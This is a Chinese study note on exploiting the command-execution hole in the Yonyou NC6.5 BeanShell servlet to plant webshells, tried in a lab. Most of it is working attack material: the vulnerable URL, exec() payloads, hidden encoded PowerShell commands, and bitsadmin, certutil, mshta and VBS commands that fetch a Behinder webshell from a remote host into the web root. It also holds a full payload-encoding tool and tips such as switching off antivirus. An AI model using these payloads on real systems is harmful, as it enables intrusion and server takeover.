nc65命令执行漏洞上传webshell学习笔记
免责声明:
此文为本人学习笔记,不承担任何法律责任。
访问者在从事与本站相关的所有⾏为(包括但不限于访问浏览、利⽤、转载、宣传介绍)时,必须以善意且谨慎的态度⾏事;访问者不得利⽤本⽹站以任何⽅式直接或者间接的从事违反中国法律、国际公约以及社会公德的⾏为,且访问者应当恪守下述承诺:
1、传输和利⽤信息符合中国法律、国际公约的规定、符合公序良俗;
2、不将本⽹站以及与之相关的⽹络服务⽤作⾮法⽤途以及⾮正当⽤途;
3、不⼲扰和扰乱本⽹站以及与之相关的⽹络服务;
4、遵守与本⽹站以及与之相关的⽹络服务的协议、规定、程序和惯例等。
实验环境
靶机:win server 2008r2 + sql server2008r2 + nc6.5
网上下载的nc65的安装包,这里就不发了,不确定有没有加点其他东西。安装参考博主,链接https://blog.csdn.net/weixin_38766356/article/details/103983787
安装时,遇到一个数据源测试不通过的问题,报错显示java.lang ClassNot foundException: not found sqlserver driver
解决办法是把数据源驱动列表中显示的路径文件sqlserver_2008/sqljdbc4.jar包(本机是c:\yonyou\home\driver\sqlserver_2008)复制到/jdk/lib目录下(本机是c:\yonyou\home\ufjdk\lib)之后重启一下就行了。
还有开放端口不能冲突,我改到81端口了。
部署完之后调一下JAVA的安全级别或者例外站点,启用activeX等,这个网上也多的很,不多赘述。
还有一点挺坑的,在地址栏输入127.0.0.1出来的网页系统那栏没有下拉选项,我还以为我部署错了,后来各种查询才知道要加/admin.jsp才是管理员的界面,root空密码登录即可。吓我一跳。。。毕竟辛辛苦苦装的。
运行startServer.bat
环境就搭完了,开始正题
nc6.5 BeanShell Test Servlet命令执行
下面列举了几种利用命令执行漏洞上传\下载webshell的几种方式
测试第一种命令执行方法echo直接上传
漏洞地址
ip:端口/servlet/~ic/bsh.servlet.BshServlet
http://192.168.2.11:81/servlet/~ic/bsh.servlet.BshServlet
任意命令执行写个webshell
先找一下web的路径,上传位置
dir一下看到beanshell的位置是在C:\yonyou\home,继续找
web最终找到的路径是
- C:\yonyou\home\webapps\nc_web\
测试写一个文件到web目录
但是beanshell 命令执行写webshell时,命令内容无法被解析
exec("cmd /c echo "123" > webapps/nc_web/123.jsp")
请求页面出错
猜测这里肯定是因为特殊符号的闭合或者过滤导致的
再试试用\转义一下""
exec("cmd /c echo \"4234\" > webapps/nc_web/123.jsp")
具体产生原因涉及到了我的知识盲区,网上的大佬有结论说是java JDK沙盒机制会进行checkExec,执行命令的机制仅仅检查并执行命令数组中的第一个,而分隔符后面的所有东西都是默认为被执行程序的参数。搜索资料可能因素有:参考https://www.freesion.com/article/3697975093/
1、重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义
2、空格的参数会被StringTokenizer类破坏,命令不能带有空格或管道符,否则会被截断。ls “My Directory” 会被解释为 ls ‘"My’ ‘Directory"’
那就是不能有空格之类的特殊符号嘛,base64编码绕过特殊字符就好了
win环境powershell的base64编码绕过特殊字符
开始测试echo直接上传
测试语句
echo "123" > webapps/nc_web/123.jsp
以上语句编码后
ZWNobyAiMTIzIiA+IHdlYmFwcHMvbmNfd2ViLzEyMy5qc3A=
执行
exec("powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ZWNobyAiMTIzIiA+IHdlYmFwcHMvbmNfd2ViLzEyMy5qc3A=
死活就是没反应
后来发现powershell编码还不能直接base64转
用刚才大佬提供的web转码工具,其中powershell转码 使用了base64+unescape(“%00”)方法 ,其他bash等使用正常的base64经过转码
转换工具源码在最后附上
转码后
ZQBjAGgAbwAgACIAMQAyADMAIgAgAD4AIAB3AGUAYgBhAHAAcABzAC8AbgBjAF8AdwBlAGIALwAxADIAMwAuAGoAcwBwAA==
执行
exec("powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ZQBjAGgAbwAgACIAMQAyADMAIgAgAD4AIAB3AGUAYgBhAHAAcABzAC8AbgBjAF8AdwBlAGIALwAxADIAMwAuAGoAcwBwAA==")
让360给拦截了,气不气。。。
赶紧关掉360全家桶再来一遍
ok,测试成功
接下来123替换马就可以上工具了,这就不多说了
测试第二种方法使用bitsadmin下载webshell
1.先在本机上开一个简易网站,提供冰蝎webshell的下载
cd ##webshell所在目录
python -m http.server 8080
2.下载命令
bitsadmin /rawreturn /transfer down http://192.168.2.197:8080/bxwebshell.jsp c:\yonyou\home\webapps\nc_web\2.jsp
这里直接运行会报错
按照提示信息,出错位置在C:\这个路径的\处,经过各种实验绕过。。。突然灵机一动,这个\应该是需要转义的,转义符就是\,所以命令应该变成两个\
bitsadmin /rawreturn /transfer down http://192.168.2.197:8080/bxwebshell.jsp c:\\yonyou\\home\\webapps\\nc_web\\2.jsp
成功执行
ok,测试成功
测试第三种方法使用vbs 下载webshell
直接写入set会报错。
尝试使用base64编码echo写入,原理和第一种差不多需要编码过滤空格和特殊字符,这里就不测试了
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>downfile.vbs
测试第四种方法使用certuil 下载webshell
使用工具下载的命令
certutil -urlcache -split -f http://192.168.2.197:8080/bxwebshell.jsp
1.先在本机上开一个简易网站,提供冰蝎webshell的下载
cd ##webshell所在目录
python -m http.server 8080
直接运行命令试试看
exec ("certutil -urlcache -split -f http://192.168.2.197:8080/bxwebshell.jsp")
看样子应该可以,
2.指定下载的位置到web目录
exec("certutil -urlcache -split -f http://192.168.2.197:8080/bxwebshell.jsp webapps/nc_web/bxwebshell.jsp")
验证一下
成功
工具连接
ok,测试成功
测试使用第五种方法echo + certuil
1.先转码源webshell
2.再使用echo写入转码后的webshell
3.再使用certuil解码webshell
echo写入命令替换123为转码后webshell即可,
exec("cmd /c echo(123>webapps/nc_web/1.txt)
此处使用echo "xxx"
和 echo xxx
的时候报错了,所以尝试使用echo(xxx)
,果然可行,不过用()写入后发现多了一个),修改了一下echo语句,少写一个)就好啦。
无提示,应该是成了,验证一下
有了,接下来用certuil
exec("cmd /c certutil -f -decode webapps/nc_web/1.txt webapps/nc_web/1.jsp")
看返回应该是成了,工具连接验证一下
ok,测试成功
此方法还可以拓展使用,回头自己研究吧
将txt文件解码成二进制文件exe
certutil -decode 1.txt 2.exe
第六种方法mshta命令下载执行
mshta http://192.168.2.197:8080/run.hta
run.hta内容如下
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c calc" // 这里填写命令或者echo写一个shell
self.close
</script>
<body>
</body>
</HEAD>
</HTML>
测试成功
弹出计算器。webshell同理,未做测试
base64转换工具源码
<!DOCTYPE html>
<html lang="en">
<head>
<title>java.lang.Runtime.exec() Payload Workarounds - @Jackson_T</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<!-- <link rel="stylesheet" href="./css/main.css" type="text/css" /> -->
<style>
body {
margin: 0;
padding: 10px 0;
text-align: center;
font-family: 'Ubuntu Condensed', sans-serif;
color: #585858;
background-color: #fff;
font-size: 13px;
line-height: 1.4
}
::selection {
background: #fff2a8;
}
pre, code {
font-family: 'Ubuntu Mono', 'Consolas', Monospace;
font-size: 13px;
background-color: #E5F5E5;
color: #585858;
padding-left: 0.25em;
padding-right: 0.25em;
/*display: block;*/
}
#wrap {
margin-left: 1em;
margin-right: 1em;
text-align: left;
font-size: 13px;
line-height: 1.4
}
#wrap {
width: 820px;
}
#container {
float: right;
width: 610px;
}
.entry {
font-size: 14px;
line-height: 20px;
hyphens: auto;
font-family: 'Roboto', sans-serif, 'Inconsolata', Monospace;
}
</style>
</head>
<body>
<div id="wrap">
<div id="container">
<div class="entry">
<article>
<p>偶尔有时命令执行有效负载<code>Runtime.getRuntime().exec()</code>失败. 使用 web shells, 反序列化漏洞或其他向量时可能会发生这种情况.</p>
<p>有时这是因为重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义. 例如 <code>ls > dir_listing</code> 在shell中执行应该将当前目录的列表输出到名为的文件中 <code>dir_listing</code>. 但是在 <code>exec()</code> 函数的上下文中,该命令将被解释为获取 <code>></code> 和 <code>dir_listing</code> 目录.</p>
<p>其他时候,其中包含空格的参数会被StringTokenizer类破坏.该类将空格分割为命令字符串. 那样的东西 <code>ls "My Directory"</code> 会被解释为 <code>ls '"My' 'Directory"'</code>.</p>
<p>在Base64编码的帮助下, 下面的转换器可以帮助减少这些问题. 它可以通过调用Bash或PowerShell再次使管道和重定向更好,并且还确保参数中没有空格.</p>
<p>Input type: <input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked="" /><label for="bash">Bash</label> <input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();" /><label for="powershell">PowerShell</label> <input type="radio" id="python" name="option" value="python" onclick="processInput();" /><label for="python">Python</label> <input type="radio" id="perl" name="option" value="perl" onclick="processInput();" /><label for="perl">Perl</label></p>
<p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type input here..."></textarea> <textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
<script>
var taInput = document.querySelector('textarea#input');
var taOutput = document.querySelector('textarea#output');
function processInput() {
var option = document.querySelector('input[name="option"]:checked').value;
switch (option) {
case 'bash':
taInput.placeholder = 'Type Bash here...'
taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
break;
case 'powershell':
taInput.placeholder = 'Type PowerShell here...'
poshInput = ''
for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
break;
case 'python':
taInput.placeholder = 'Type Python here...'
taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
break;
case 'perl':
taInput.placeholder = 'Type Perl here...'
taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
break;
default:
taOutput.value = ''
}
if (!taInput.value) taOutput.value = '';
}
taInput.addEventListener('input', processInput, false);
</script>
</article>
</div>
</div>
</div>
</body>
</html>